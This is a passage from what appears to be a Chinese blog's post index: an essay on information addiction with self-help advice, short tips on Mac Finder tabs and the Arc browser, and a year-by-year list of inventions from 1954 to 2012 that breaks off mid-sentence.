便捷性偏见。这种偏差源于无法深入和复杂。信息成瘾（信息获取的便捷性）通常与一种奇怪的狂热懒惰并存，这种懒惰对哪怕需要最少量努力的事情都感到畏缩，仿佛努力最小化会提高生活质量。因此，如果某件事只是一个简单的点击或者三个步骤，它就会成为一个更有吸引力的选择。这种轻松往往是有代价的，比如错过了你以艰难的方式去做的理解，同意剥削性的条款，或者把你的世界的控制权交给运行 Web 服务和云的公司。 完成主义强迫症。打卡、收集\u0026hellip; 生动性偏差。犀利有力的语言、密集而引人入胜的音乐、高度对比鲜明的色彩、精心制作的布景、情感丰富的对话和狂躁的动作场面都在创意作品中占有一席之地。对比度是赋予丰富性的关键，而这些东西是光谱的强端。 信息成瘾是如何被利用的？ 进度系统 这些功能在电脑游戏中最为突出。他们或多或少地根据你玩了多长时间的单一事实向你承诺很酷的东西。进步通常以力量的味道出现 —— 更多的枪、更大的枪、能力或荣誉。\n无情的通知 最阴险的应用程序会不断通知你 —— 不会频繁到让您感到烦恼，但也不会不频繁到让您关闭应用程序的侵扰。如果真的有效，每次通知都会吸引你。这加强了你对新应用或程序的熟悉度，并鼓励你进行投入。\n社交媒体 它无情地利用了我们对联系和验证的喜爱，为我们提供了与我们关心的人相处的时间的苍白模仿，同时它吸引我们在现实生活中花更少的时间在一起。\n它夸大了灾难偏见，因为它的内容浮现算法意味着你只能看到前百分之一的 “值得反应” 的内容。\n新闻 新闻因观点而兴旺。这是新闻共享组织生存的唯一途径。记者和编辑很清楚我们的偏见，他们知道该怎么做才能获得点击率和浏览量。\n新闻非常非常强烈地倾向于灾难偏见，并因此向我们展示了一种扭曲的世界观\n游戏 我认为游戏是我们开发的最令人上瘾的基于屏幕的体验。它们具有很强的互动性，是通往陌生、生动世界的门户。逃避现实从未如此有趣。\n但从广义上讲，桌面游戏存在 “更严重” 的成瘾风险。改进的输入方案、直立坐在座位上以及现代台式 PC 的强大功能意味着你可以体验和访问真正身临其境和高保真度的世界。\n如果你对一个移动游戏有些许投入，你也很容易在想 “消磨时间” 时掏出来玩上一局。\n视频 视频可能不是交互式的，但这让它们可以讲述更复杂、由作者主导的故事，这可能更加引人入胜。不需要输入也意味着它们的进入门槛更低。一旦开始观看，您可以根据自己的喜好投入任意多的精神能量 —— 直至 “几乎没有”\n视频内容种类繁多，而且由于它通常充满了信息，因此你一定能找到一些可以强化您的观点、信念或感受的内容\n视频可以展示人们做事、生活、工作、放松。替代性地体验他人的生活（真实的或虚构的）真的会让人上瘾，特别是如果你在生活中缺乏联系，并且不需要想象。\n聊天 现代消息传递应用程序提供了一种与人们交谈的新方式：同时与 5 人、10 人或 50 人进行持续的低带宽、低承诺讨论。\n你正在这些上下文之间快速切换你的注意力，如果你打开通知，你就会不断地退出你所处的任何现实生活中的上下文来输入它们。这有可能引起大规模的注意力碎片化，因为它对我们有限的日常处理能力提出了要求。\n花钱 买东西真的会让人上瘾。记住营销是如何运作的。他们是为了说服你，你错过了一些东西，或者你在某种程度上是不够的，他们的产品会给你你 “需要” 的东西。\n如果你有可支配收入，而你的冲动购买只是偶尔的，你可能没问题。但是，如果资金紧张，或者你经常买东西（特别是为了感觉更好），你需要解决它。\n如果有时间压力，永远不要买任何东西。总是拒绝压力附带的提议，给自己时间反思它是否能真正丰富你的生活。将 “对不起，不行” 作为你的默认答案。 你可能不需要它。走出兴奋的泡沫，试着弄清楚它将如何影响你的生活，现实的、实用的、日常的。 花很多时间试图了解你的动机。你为什么想要这个东西？社会认可？完成主义？如果是某种不安全感，问问它是否真的是你自己想要的 了解价值挂钩。忽略 “原价” 和 “降价”，根据它是什么和它的要价来判断它。 如何修复信息成瘾 你的任务很困难，也很简单。了解你的信息 “饮食习惯”，培养并控制你的消费习惯，并以高标准要求自己。\n质量至关重要 关键的一步是开始评估你所参与的每个信息块的质量。到底一顿精美的大餐还是廉价的外卖，你需要区别对待。\n数量很重要 整体上摄入过多确实会损害体验敏感性并导致注意力碎片化。把每一天都当成是有限预算，然后在每次与信息互动时做出有意识的选择。当你选择参与时，请全神贯注地去做。\n了解你的缺点；了解他们的工具\n保持警惕 您还需要保持内心警惕，因为识别信息成瘾的最佳方法通常是注意自己身上的非理性情绪或冲动行为并寻找其来源。\n有意识 在打开应用程序或网站之前，告诉自己它是什么 - 大声说出来。\n确保在使用 信息源的整个过程中牢记你的目标。\n这完全重新构建了从 “带我掉进兔子洞” 到 “为我做一些具体的事情” 的互动。它把力量还给你，使你不再是一个被动的消费者。\n你需要一个详尽的、具体的计划 我在自己的信息成瘾治疗中发现，硬时间块对我来说效果非常好。我选择短期的、特定的时间段，在此期间我可以随心所欲地使用任何信息源，这有助于我避免遗漏的方面。在那些时期之外，我不会碰它们。\n对自己要有耐心 时间是你的盟友 改变习惯需要时间。解决这个问题几乎没有办法。如果你能理解你的成瘾的形状，并每天远离它，你的胜利就已经稳固了。\n你的超能力是适应和成长的能力。用反思来迎接失败 —— 这是一个成长的机会 —— 并对你正在取得的进步感到满意。\n失败得足够多，你就一定会成功。\n原谅自己 如果你做得不好，你很容易在自怜或自我厌恶的漩涡中迷失自己，特别是如果你最近表现不佳。尽量避免诱惑。一个月后，当你没有任何进展时，你可能感觉很糟。但这并不丢人。原谅自己，没关系的。\n避免坏习惯 尽可能避免使用屏幕。养成一个一揽子的习惯，在求助于屏幕之前，先寻找在屏幕外做事的方法，并追求没有屏幕的爱好和休闲活动。注意所有屏幕时间，并努力将其降至最低。应用程序可以在这方面提供帮助。\n如果您的工作需要屏幕，请锁定该计算机，使其只做一件事。将娱乐时间花在非数字上。\n让你的手机难以取用。把它放在袋子里旅行。坐下后，让它离得足够远，你必须站起来与它互动\n永远不要让你的手机靠近你的床。如果您在卧室中需要它作为闹钟，请将其放在房间的另一侧。买一个传统的闹钟。\n不要在公司里碰手机。如果必须，请保持简短。尊重房间里的人的时间和注意力。\n睡前两小时内不要看屏幕\n健康饮食。每天做饭。减少淀粉和糖的摄入量，减少精制糖的摄入，多吃蔬菜。\n获得充足的优质睡眠。对于数量，你需要遵守纪律。八个小时是一个硬性的最低要求，但九小时更好。质量也很重要。晚上睡觉比较好。干扰、环境光和声音以及不舒服的床垫都会使您的睡眠更差。尽你所能改进。\n填补新的空闲时间 如果你感到无聊和无所事事，你很容易回到信息成瘾。我们人类喜欢做事。做一些很酷的事情。\n选择慢、深和困难，而不是快速、浅和容易。最典型的例子是读书与刷抖音。这个模板可以应用于各种各样的事情。你可以非常清楚地衡量你在康复道路上的道路，选择缓慢、深入和困难的难度。当它成为您毫不费力的偏好时，您就自由了。\n追求创意领域。写字、做音乐、学习技能、画画或发展你的书法、学习编程。 保留有趣的项目想法列表。当你需要做点什么时，回到他们身边，挑选一些东西去做。 加入读书俱乐部、语言学习小组、远足小组、写作小组、戏剧小组、攀岩馆、运动队、社区志愿者小组、当地创客空间。 学习正规的高中或大学水平的东西来填补空白 —— 物理、历史、数学、地理、社会学。在线学习资源比以往任何时候都好。 去享受美妙的体验吧。在节日上跳舞，远足，露营，探索（你不需要机票 - 在当地探索！），并培养与周围世界的互动感。 观念就是一切 乐观主义是对人类心智最有力的激励因素。培育它是一门微妙的艺术，但一旦它开始燃烧，它将以难以置信方式激励你。相信积极的结果可以并且确实会发生，它值得努力追求，它使得人类的经历充满了色彩、可能性和魔力。它还创造了一个积极的反馈循环，这些结果实际上更频繁地发生，因为你已经将它们纳入了你的世界观。\n","date":"2024-02-23T07:56:20Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2024-02-23-xin-xi-cheng-yin-ru-he-qiao-qiao-kong-zhi-ni-de-sheng-huo/cover.jpg","permalink":"/p/2024-02-23-xin-xi-cheng-yin-ru-he-qiao-qiao-kong-zhi-ni-de-sheng-huo/","title":"信息成瘾如何悄悄控制你的生活"},{"content":"就像使用 Chrome、Safari 浏览器的标签页一样，Mac 电脑中的 Finder(访达) 应用也具有类似的功能。\n使用 Mac 电脑好多年了，一直以为 Finder（访达）没有标签页，还在双击打开文件夹，有时候打开的文件夹一多，一通乱找。\n我有罪啊，这个功能已经开发出来 10 年了，2013 年的时候就有了，我居然不知道！！！！\n使用起来很简单，当你打开一个文件夹后，如果需要再打开另外一个文件夹，只需要在第二个文件夹打开时按住 command +双击 就可以在一开始那个文件夹上打开标签页了。再也不用打开多个文件夹后，一通乱找了。\n打开新标签页的快捷键是 command + t ，跟 Chrome 打开新标签页的一样。\n如果你真的单独打开了好多文件夹，那么可以一下把它们全部合并在一个窗口中，Finder 提供了这个功能：\n每个选项卡的行为就像它自己的 Finder 窗口一样；你可以相应地调整每个选项卡的视图设置，因此一个选项卡可以显示图标视图，另一个选项卡可以显示列表视图。\n打开多个选项卡后，你可以通过将文件拖放到选项卡上来将文件从一个选项卡移动到另一个选项卡。该过程的行为就像将文件拖放到文件夹中一样。\nFinder 现在还提供全屏模式。因此，如果你有桌面恐惧症，你可以将 Finder 转移到一个充满选项卡的窗口中，并使用 Mission Control 移入和移出该窗口。\nMac 系统的隐藏功能是真多啊！\n我以前默认在新窗口中打开所有文件夹。真是旧习难改。当然，如果你使用了类似 Path Finder 这种解决方案，当我没说。。。\n我有罪，平常使用的时候不动脑子，人家都开发出来 10 年了。。。\n","date":"2024-02-18T02:30:58Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2024-02-18-wo-you-zui-a-yong-le-zhe-me-duo-nian-mac-bu-zhi-dao-fang-da-/cover.jpg","permalink":"/p/2024-02-18-wo-you-zui-a-yong-le-zhe-me-duo-nian-mac-bu-zhi-dao-fang-da/","title":"我有罪啊--用了这么多年 mac 不知道访达有标签页"},{"content":"今天 Arc 浏览器更新了，在我今天半天的使用体验下来，总结来说就是：我要更换默认浏览器了！！！\n下面给大家简单的介绍一下更新的功能。（注意目标只有 mac 用户可以使用，不支持 windows）\nInstant Links Arc Browser 的 Instant Links 功能真是太好用了\n它帮我们省去了 中间页 。什么意思呢？\n就是说一般你在搜索引擎搜索关键字，然后搜索引擎会在页面上给你一堆链接，然后你点击感兴趣的链接打开相关网页。搜索引擎提供的页面就是 中间页。\n而使用 Arc 的 instant Links 功能以后，Arc 会自动分析你要搜索的内容并直接给你打开它认为最佳的网页，省略了 中间页。你想一想，每次你使用浏览器搜索内容的时候如果都能省略一步操作，那么节省了多少时间啊，等于多攒了2年阳寿。\n下面这个例子就是直接打开一串视频 “videos of ipad,iphone, macbookpro”\n","date":"2024-02-02T08:07:38Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2024-02-02-arc-liu-lan-qi-shi-shi-ji-geng-xin-huan-diao-ni-de-chrome-ba/cover.jpg","permalink":"/p/2024-02-02-arc-liu-lan-qi-shi-shi-ji-geng-xin-huan-diao-ni-de-chrome-ba/","title":"Arc 浏览器史诗级更新 ，换掉你的 Chrome 吧"},{"content":" “\n从 20 世纪 50 年代至今，科学技术创新彻底改变了我们的生活，从医院到外太空再到厨房。这些是我们这个时代最有影响力的发明。\n在一个寻常的日子里，你可能会系上安全带、从 ATM 机取现、或者在手机上查看新闻。这些事情感觉起来很平常，然而在不久的过去，它们都是不可思议的，这都要感谢超过六十五年的卓越科学和技术创新。从魔术贴到虚拟现实，从 LED 灯到 微信，以下这些都是我们这个时代最能改变生活、最有名的发明。\n1954 年：微波炉 1945年，雷神公司的 Percy Spencer 站在一个磁控管（雷达的功率管）前，感觉到口袋里的糖果开始融化：他觉得很有趣。当他把爆米花粒放在磁控管前时，粒子在实验室里到处爆炸。十年后，Spencer 为一种使用高频射频波进行烹饪的\u0026quot;雷达烘箱\u0026quot;申请了专利；同年，Tappan炉具公司推出了第一款家用微波炉模型。\n1955 年：脊髓灰质炎疫苗 乔纳斯·索尔克 (Jonas Salk) 找到预防脊髓灰质炎方法的那一年，全球已有 28,985 例病例；到 2021 年，这个数字将下降到 6 个。\n1956 年：硬盘 IBM 发布了第一款计算机硬盘驱动器，这是一个重达 2000 磅以上，冰箱大小的 IBM 305 RAMAC，它引入了磁盘存储。在此之前，文件要么保存在磁带卷上，要么就是老式的纸张上，无法直接跳转到你想要查看的记录。有了 RAMAC，一个机械臂可以通过在特定的磁向存储数据来检索数据。这项技术后来被用于（尺寸更小的）笔记本电脑和计算机服务器。\n1957 年：避孕药 Enovid 是 FDA 批准用于治疗月经失调的药物，它附带一个警告：合成黄体酮和雌激素的混合物也会阻止排卵。两年后，超过 50 万美国女性正在服用 Enovid，但并非所有人都出现抽筋症状。1960 年，FDA 批准 Enovid 作为第一种口服避孕药。\n1958 年：喷气式客机 波音 707-120 首次亮相，成为世界上首款成功的商用喷气式客机，开启了便捷大众航空旅行的时代。这架四引擎飞机可搭载 181 名乘客，满油情况下最高时速可达 600 英里，续航里程高达 5280 英里。首次商业喷气式飞行从纽约起飞，降落在巴黎；很快，国内航线开始连接纽约和洛杉矶。\n1959：集成电路 第一台通用计算机是近 30 吨重的 ENIAC（1947 年），包含 18,000 个真空管、70,000 个电阻器和 10,000 个电容器。1959 年，集成电路将这些内部结构集成到一个微小的芯片上。\n1960：起搏器 1956 年，威尔逊·格莱特巴奇 (Wilson Greatbatch) 抓住了错误的电阻，并将其连接到他正在建造的用于记录心跳的设备上。当电路发出脉冲时，他意识到该装置可以用来控制节拍；1960年，第一台起搏器成功植入人体\n1961 年：无绳电钻 Black and Decker 发布了首款无绳电钻，但设计人员无法从其 NiCd 电池中获得超过 20 瓦的功率。相反，他们努力提高效率，修改齿轮比并使用更好的材料。这一革命性成果为 DIY 爱好者以及宇航员的手套（得益于 NASA 合同）带来了新的力量。\n1962: 通讯卫星 Telstar 作为第一颗“主动”通信卫星发射——主动放大和转发传入信号，而不是被动地将信号反射回地球。Telstar 将科幻作家 Arthur C. Clarke 于 1945 年提出的构想变为现实，他设想了一个基于地球同步卫星的全球通信网络。泰事达首次亮相两周后，肯尼迪总统在华盛顿特区举行新闻发布会，并在大西洋彼岸进行现场直播。\n1963：画板程序 计算机图形学之父 Ivan Sutherland 在创建 Sketchpad 程序时彻底改变了 3D 计算机建模和模拟。作为计算机辅助设计 (CAD) 程序的最早迭代，画板率先使用了几何约束（固定直线的长度或两段之间的角度）。它也是最早使用图形用户界面（而不是基于文本的用户界面）的程序之一\n1964 年：无人机 遥控飞机的广泛使用始于越南战争期间，部署了 1000 架 AQM-34 Ryan Firebees。这些长 29 英尺的飞机的第一架模型于 1962 年在短短 90 天内开发完成。AQM-34 执行了超过 34,000 次监视任务。他们的成功导致了当今广泛使用的无人机的最终发展。\n1965：凯夫拉纤维 感谢杜邦公司的 Stephanie Kwolek 和 Herbert Blades 在 1965 年发明了一种名为 KEVLAR 的高强度聚合物，3000 多名警察的防弹衣保护了他们免受致命攻击。\n1966年：高产水稻 菲律宾国际水稻研究所推出了一种半矮化高产籼稻品种，与高产小麦相结合，引领了绿色革命。籼稻在亚洲和南美洲的热带地区蓬勃发展，到 1970 年全球产量提高了 20% 以上。\n1967 年：冠状动脉搭桥手术 1967 年，雷内·法瓦洛罗 (Rene Favaloro) 进行了首例冠状动脉搭桥手术，从腿部取出一段静脉并将其移植到冠状动脉上。这使得血液可以在阻塞部分周围流动。部分归功于这些进步，美国因心脏病死亡的人数下降了近 50%。\n1968: 集成计算机系统 在 1968 年 12 月具有里程碑意义的演示（后来被称为所有演示之母）中，工程师道格拉斯·恩格尔巴特 (Douglas Engelbart) 演示了许多最新技术的相互结合使用，包括：屏幕窗口、超文本、图形、文件链接、版本控制、视频会议、电脑鼠标和文字处理。Mac 和 Windows 用户界面都将大量借鉴此处设置的示例。\n1969：阿帕网 在整个世界联网之前，就有了阿帕网——1969 年将四台计算机连接起来。它引入了“数据包交换”的概念，即同时将消息作为短单元传送，并在目的地重新组装它们。\n1970 年：光纤 “光纤”一词于 1956 年创造，但直到 1970 年，康宁公司的科学家才生产出一种超纯玻璃光纤，其光传输性能足以用于电信。\n1971 年：华夫格底跑鞋 俄勒冈大学的田径教练比尔·鲍尔曼（Bill Bowerman）为了达到最佳表现而牺牲了早餐，他将橡胶倒入华夫饼熨斗中，为运动员的跑鞋制作轻质鞋底。三年后，鲍尔曼的公司 Nike 推出了 Waffle Trainer，一经推出就大受欢迎。\n1972 年：电子点火 克莱斯勒通过电子点火为汽车的电子化（而非机械化）时代铺平了道路。它导致了点火正时和燃油计量的电子控制，预示着更复杂的系统即将到来。如今，这些技术包括电子控制变速箱换档点、防抱死制动系统、牵引力控制系统、转向系统和安全气囊部署。\n1973：核磁共振成像 每个人都同意磁共振成像 (MRI) 是一项辉煌的发明，但对于谁发明了它却没有人达成一致。MRI 所依赖的物理效应（核磁共振）为多位科学家赢得了 1944 年和 1952 年的诺贝尔物理学奖。许多人认为，雷蒙德·达马迪安 (Raymond Damadian) 于 1973 年首次使用磁共振来区分健康组织和癌症，从而确立了该机器的医学价值。然而，2003 年，诺贝尔医学奖颁给了彼得·劳特伯 (Peter Lauterbur) 和彼得·曼斯菲尔德 (Peter Mansfield)，以表彰他们的“开创性发现”。谁是最有价值的候选人这一话题仍然存在激烈争论。\n1974: 条形码 10 包箭牌 Juicy Fruit 口香糖是第一个在俄亥俄州杂货店扫描时集成条形码技术的产品；这些代码成为杂货店存储定价信息的行业标准，并迅速扩展到面向消费者和内部跟踪应用程序。\n1975 年：全球变暖 不是发明的，而是以现代意义上的人为气候变化引入词汇的。《科学》杂志发表了地球科学家华莱士·布罗克 (Wallace Broecker) 的一篇论文，“我们正处于明显的全球变暖的边缘吗？”——这标志着该短语首次在科学论文中使用。\n1976: 超级计算机 Cray-1 是第一台商业开发的超级计算机，安装在洛斯阿拉莫斯国家实验室。它是第一台成功实现矢量处理器的超级计算机，该系统允许对大量数据快速执行单个操作，这反映在其 160 MFLOPS 或每秒 1.6 亿次浮点运算的速度上。Summit 超级计算机于 2018 年在橡树岭国家实验室上线，运算能力为 143.5 petaflops。\n1977: 个人电脑 Apple II、Commodore PET 和 Radio Shack 的 TRS-80 于 1977 年推出——比 IBM 推出其个人电脑早了四年，IBM 很快就成为“PC”一词的代名词。\n1978 年：全球定位系统 现代 Navstar 全球定位系统 (GPS) 中的第一颗卫星发射升空。（GPS 的前身 TRANSIT 于 20 世纪 60 年代初开发，用于引导核潜艇。）不过，直到 2000 年，克林顿总统才允许非军事用户访问未加密的 GPS 信号。现在，廉价的手持式 GPS 设备可以确定一个人的位置，精确度在 3 码以内。\n1979 年：索尼随身听 “这是一款能够满足那些想要整天听音乐的年轻人的产品。” ——盛田昭夫，索尼董事长，1979 年 2 月。\n1980 年：氧化钴阴极 约翰·班尼斯特·古迪纳夫 (John Bannister Goodenough) 发明了氧化钴阴极，这是锂离子电池的重要组成部分，锂离子电池是现在每部智能手机、笔记本电脑和电动汽车中都配备的可充电便携式电池。2017 年，94 岁的古迪纳夫（显然认为他的上一项发明不够好）宣布他发明了一种具有更好存储能力的新型玻璃电池。\n1981：扫描隧道显微镜 通过在表面上移动扫描隧道显微镜 (STM) 的针并监测流过它的电流，科学家可以将表面映射到单个原子的水平。STM 非常精确，它不仅可以观察原子，还可以将它们操纵成结构。该显微镜的开发为 IBM 研究人员 Gerd Binnig 和 Heinrich Rohrer 赢得了诺贝尔奖，并帮助开启了纳米技术的新兴时代。\n1982：计算机病毒 15 岁的 Rich Skrenta 创建了一个名为 Elk Cloner 的应用程序作为恶作剧，并最终创建了第一个在其家庭网络之外传播的病毒。Elk Cloner 通过软盘传播并附加到 Apple OS II 操作系统。当用户从磁盘启动时，Elk Cloner 会传输计算机的内存；任何未重新启动而插入的其他磁盘也会受到感染。每启动五十次，计算机就会显示 Skrenta 编写的文本：\n1983 年：微软 Word Multi-Tool Word（Microsoft Word 文本编辑程序的前身）首次亮相，免费版与 11 月号《PC World》捆绑在一起。与大多数当代竞争对手不同，Word 被设计为通过鼠标使用，并且具有撤消键入以及显示粗体、斜体和下划线文本的功能。\n1984：DNA 指纹识别 分子生物学家 Alec Jeffreys 设计了一种方法，通过仅比较显示人与人之间差异最大的序列部分，使对人类 DNA 序列中超过 30 亿个单位的分析变得更加容易。他的方法很快就进入了法庭，用来为被错误指控的人开脱罪责，并找出真正的罪犯。\n1985：聚合酶链式反应 生物化学家 Kary Mullis 发明了一种利用酶的技术，可以快速、廉价地复制微小的 DNA 片段，复制数百万份。无论血迹有多小或多干，法医科学家现在都可以收集足够的遗传物质来进行 DNA 指纹识别。通过 PCR，医生还可以搜索微量的 HIV 遗传密码，从而比传统方法更快地诊断感染。\n1986：电子邮件列表 Éric Thomas 开发了 LISTSERV，这是第一个自动化邮件列表管理应用程序。1986 年之前，必须手动在邮件列表中添加或删除人员。到了 2010 年代，电子邮件通讯已经无处不在。\n1987：百忧解 百忧解成为 FDA 批准的新型抗抑郁药中的第一个，称为“选择性血清素再摄取抑制剂”，它可以阻止提升情绪的神经递质血清素的重吸收，从而延长其作用。尽管有时存在争议，但百忧解可以帮助患者应对临床抑郁症，重塑我们对如何通过化学方法控制性格和情绪的理解。五年内，450 万美国人服用百忧解，使其成为有史以来最广泛接受的精神药物。\n1988：网络病毒 研究生 Robert Morris 于 11 月 2 日发布了名为 Morris 蠕虫病毒的病毒，展示了远程连接计算机中的漏洞。与 Rich Skrenta 的 Elk Cloner 不同，该蠕虫病毒不需要任何类型的硬件来进行传输。\n虽然莫里斯说这只是衡量互联网规模的一个练习，但多次被感染的计算机速度会大大减慢；在最初的 15 小时内，就有 2,000 台计算机被感染，其中许多计算机无法挽救。莫里斯成为第一个根据 1984 年《计算机欺诈和滥用法》受到审判并被定罪的人。\n1989：万维网 1989 年，蒂姆·伯纳斯·李爵士创建了用于制作网页的“超文本标记语言”(HTML) 和用于标识信息存储位置的“统一资源定位符”(URL)。这些突破构成了万维网的基础。\n1990：Photoshop 如今，有数以千计的应用程序让我们的数字生活变得更加轻松，但没有一个像 Photoshop 那样有用。这款广受欢迎的照片编辑软件于 1987 年首次开发，直到 1990 年才发布其第一个商业版本。这款应用程序在我们所有设备上仍然无处不在，这是有原因的——它就是那么好。\n1991：Linux 在微软和苹果主导的早期网络世界中，Linux 是一个新的、强大的想法。该操作系统（包括 Linux 内核）最初由 Linus Torvalds 于 1991 年 9 月 17 日发布，成为开源软件最重要的示例之一。现在，Linux 有了各种不同的发行版，为我们提供了一种逃离日益掌控我们生活的科技公司的数字逃离方式。\n1992：IBM 西蒙 1992 年 11 月 23 日，IBM 在内华达州拉斯维加斯的 COMDEX 上首次展示了一款奇怪的小原型。尽管 IBM Simon 直到 1994 年才在美国销售，但事实证明它在商业上失败了。但实际上，这个想法远远超前于时代，因为许多人认为 Simon 是世界上第一款智能手机。\n1993 年：燃料电池汽车 燃料电池的历史可以追溯到 150 多年前，第一辆燃料电池汽车（20 马力拖拉机）于 1959 年制造。但直到 1993 年，加拿大公司 Ballard Power Systems 才首次展示了零排放燃料电池公交车。从那时起，经济上可行的燃料电池汽车的进展仍然缓慢但稳定。\n1994 年：RQ-1 捕食者无人机 RQ-1“捕食者”无人机的想法诞生于 20 世纪 80 年代，但直到 1994 年才在莫哈韦沙漠进行了首次飞行测试。从那时起，无人机越来越多地融入美国军队，并永远改变了人类的战争方式。2002年，该无人机获得了“MQ”称号，代表“多角色”，以表明其武装能力超出了被动侦察的范围。\n这是机器代替人类进行战争的首批实例之一。批评者称，“捕食者”无人机因错误的情报造成无辜者死亡和附带损害，而支持者则表示，与平均脱靶距离为 800 英尺的传统火炮武器相比，无人机的精确度要高得多。\n但在战场之外，“捕食者”无人机也为其他类型的无人机机器人的功能提供了令人印象深刻的例子，一些专家表示，正是它引发了我们目前对无人机的迷恋，无论是用于运送包裹还是作为一种新的最受欢迎的消遣。在很多方面，《铁血战士》对我们生活的影响尚未得到充分认识。\n1995 年：HIV 蛋白酶抑制剂 艾滋病毒感染者的前景也发生了巨大变化。FDA 于 1995 年批准了 Invirase，它是 HIV 蛋白酶抑制剂类药物中的第一种药物。通过阻断病毒复制中使用的酶的功能，这些抑制剂可以将高达 90% 的患者的 HIV 水平持续降低到不可检测的水平。\n1996：DVD 尽管 DVD 仅通过其祖先蓝光（一种逐渐被在线流媒体消耗的技术）得以延续至今，但由于与其他媒体相比，DVD 的容量较高，因此作为家庭娱乐和数据存储的首选媒体，DVD 已向前迈出了一大步。格式。第一批 DVD 播放机于 1996 年 11 月 1 日在日本上市。\n1997：混合动力汽车 费迪南德·保时捷 (Ferdinand Porsche) 驾驶前轮驱动混合动力汽车在 1902 年奥地利埃克塞尔伯格爬坡赛中赢得了组别冠军。但近一个世纪后的 1997 年，丰田向日本消费者推出了混合动力普锐斯，令其竞争对手大吃一惊。普锐斯花了近三年时间才到达北美。\n1998：国际空间站 1998 年 11 月 20 日，功能货物舱（又名查莉娅）发射升空，成为最终成为国际空间站的第一部分。国际空间站是无数实验的所在地，也是国际合作的光辉典范，它证明了人类通过共同努力可以取得的成就。\n1999 年：蓝牙 1.0 版 蓝牙以 10 世纪丹麦国王哈拉尔·“蓝牙”·戈姆森（Harald“Bluetooth”Gormsson）的名字命名（真的），现在我们几乎可以在所有可以想象到的小工具中找到蓝牙，并且它将成为智能手机未来发展的主要参与者。蓝牙的第一个版本于 1999 年 7 月 26 日发布，虽然需要十年（或两年）的时间才能解决这些问题，但它帮助我们想象了一个没有不必要电线的未来。\n2000 年：PlayStation 2 从长远来看，视频游戏不一定是重要的发明，但它们很有趣。虽然许多游戏机都可以跻身这份名单，但索尼的 PlayStation 2 利用新兴技术时代创造了一款游戏机，巩固了该公司作为游戏巨头的地位，这一头衔至今仍被保留。\n2001：维基百科 事后看来，将百科全书放到网上是理所当然的。但是，数字百科全书在近二十年的时间里都没有广告，这真是令人难以置信。维基百科的用户生成模型有时会给它带来麻烦，但总的来说，它是一个成为在线寻找答案的基石的程序，如果幸运的话，它将在未来几十年内继续这样做。\n2002：IEEE 802.16 电气和电子工程师协会的天才们发布了无线城域网标准，其功能就像增强版的 Wi-Fi。802.16 天线可以将互联网接入传输到半径达 30 英里的范围内，速度与 DSL 和有线宽带相当。当一切尘埃落定后，802.16 可能会消除对有线电信基础设施的需求，从而最终将发展中国家带入数字时代。\n2003 年：人类基因组计划 人类基因组计划于 2003 年 4 月 14 日正式完成，为未来医学的进一步发展和更好地理解我们来自何处奠定了理解基础。事实上，每个人都可以在线使用它，这一事实让它变得更加令人难以置信。\n2004 年：脸书 未来的哈佛辍学者马克·扎克伯格 (Mark Zuckerberg) 于 2004 年 2 月推出了“thefacebook.com”，这是一个最初仅限他的同学使用的社交网站。到其 10 周年纪念日时，Facebook 平均每月有 12.3 亿用户——占全球总人口的 17%。2018 年，扎克伯格被要求在美国国会作证，说明从该网站窃取的个人数据和定向 Facebook 广告是如何被利用来干扰 2016 年总统选举的。\n2005 年：谷歌地图 谷歌地图将动态的、可搜索的在线地图与生成路线规划驾驶指令的能力相结合，对停车和问路带来了决定性的打击。两年后，谷歌增加了街景功能，向世界各地发送汽车、徒步旅行者和机器人，努力让用户看到房屋、道路和地标的 360 度街道视图。第一代 iPhone 中还包含了谷歌地图的应用程序版本——据报道，蒂姆·库克 (Tim Cook) 在发布前几周就委托了这款应用程序，当时他意识到苹果原型机无法满足这一需求。\n2006：Wii 任天堂于 2006 年 11 月发布了 Wii 的标志性产品 Wii Remote，它使用光学传感器和手势识别来反映玩家在游戏范围内的真实动作，从网球到马里奥赛车。无论你的父母怎么说，它都比前几代视频游戏更具沉浸感，对体力要求更高，并且是综合现实世界和虚拟活动的重要一步。\n2007 年：iPhone 史蒂夫·乔布斯 (Steve Jobs) 推出了苹果公司的第一款智能手机，并通过恶作剧电话从附近的星巴克订购了 4,000 杯拿铁咖啡。iPhone 也是美国第一款没有实体键盘的智能手机，并成为有史以来最畅销的小工具，迄今为止销量已超过 22 亿部，并推动了各种基于应用程序 APP 的互联网公司的发展。\n2008：大型强子对撞机 欧洲能源研究组织 (CERN) 经过十年的建设，大型强子对撞机于 2008 年投入使用，成为世界上最大、最强大的粒子加速器，能够以接近光速推进能量束。2012 年，大型强子对撞机的测试将揭示希格斯玻色子的证据，希格斯玻色子是一种亚原子粒子，被认为有助于产生质量，因此也是宇宙的组成部分之一。该粒子的同名者彼得·希格斯（Peter Higgs）（他不同意其被称为“上帝粒子”）因在科学理解物质属性方面取得的进展而荣获 2013 年诺贝尔物理学奖。\n2009：比特币 化名中本聪推出了第一种流行的加密货币，这是一种匿名的点对点加密现金形式。比特币使用区块链计算来分散和验证支付，并且几乎是防篡改（和解释）的。为了避免通货膨胀，比特币的总量被限制在2100万个。随着越来越多的货币被“开采”，流通中的货币数量也会增加，“开采”是一种消耗大量电力的计算过程。该货币的价值在 2017 年 12 月达到顶峰，一枚比特币价值超过 19,000 美元。\n2010：Siri Apple 的数字助理作为 iOS 应用程序发布；用户只需对着 iPhone 说话即可询问信息和方向，并提示其他手机功能。尽管 Siri 1.0 存在缺陷，并且难以理解某些声音和口音，但它于 2011 年 10 月正式集成到 iPhone 4S 中，并且此后进行了更新，包括更多语言、更好的语音识别软件和英国口音选项。Siri 预示着更多语音激活虚拟助手的迅速推出，例如亚马逊的 Alexa 和微软的 Cortana（均为 2014 年）。\n2011：好奇号漫游车 好奇号于 2011 年 11 月从卡纳维拉尔角发射升空，并于次年 8 月登陆火星——这一事件因飞行总监（后来成为《大众力学》撰稿人）博巴克·费多西 (Bobak Ferdowsi) 的经典发型而成为标志性事件。火星车的目标是调查火星上的环境条件，并确定它是否适合微生物（或许也适合人类）生命。它是有史以来登陆火星的最先进的火星车，可以收集详细的图像和环境样本进行分析并发回地球。\n2012 年：谷歌的机器学习项目 《纽约时报》报道称，作为 Google 深度学习研究的一部分，由 16,000 台计算机组成的集群已经自学如何识别猫。这些进步可以说推动科技行业更加认真地追求人工智能和机器学习项目，包括自动驾驶汽车技术、面部识别软件（Face ID 和 Facebook 上的自动标记）以及帮助 Alexa 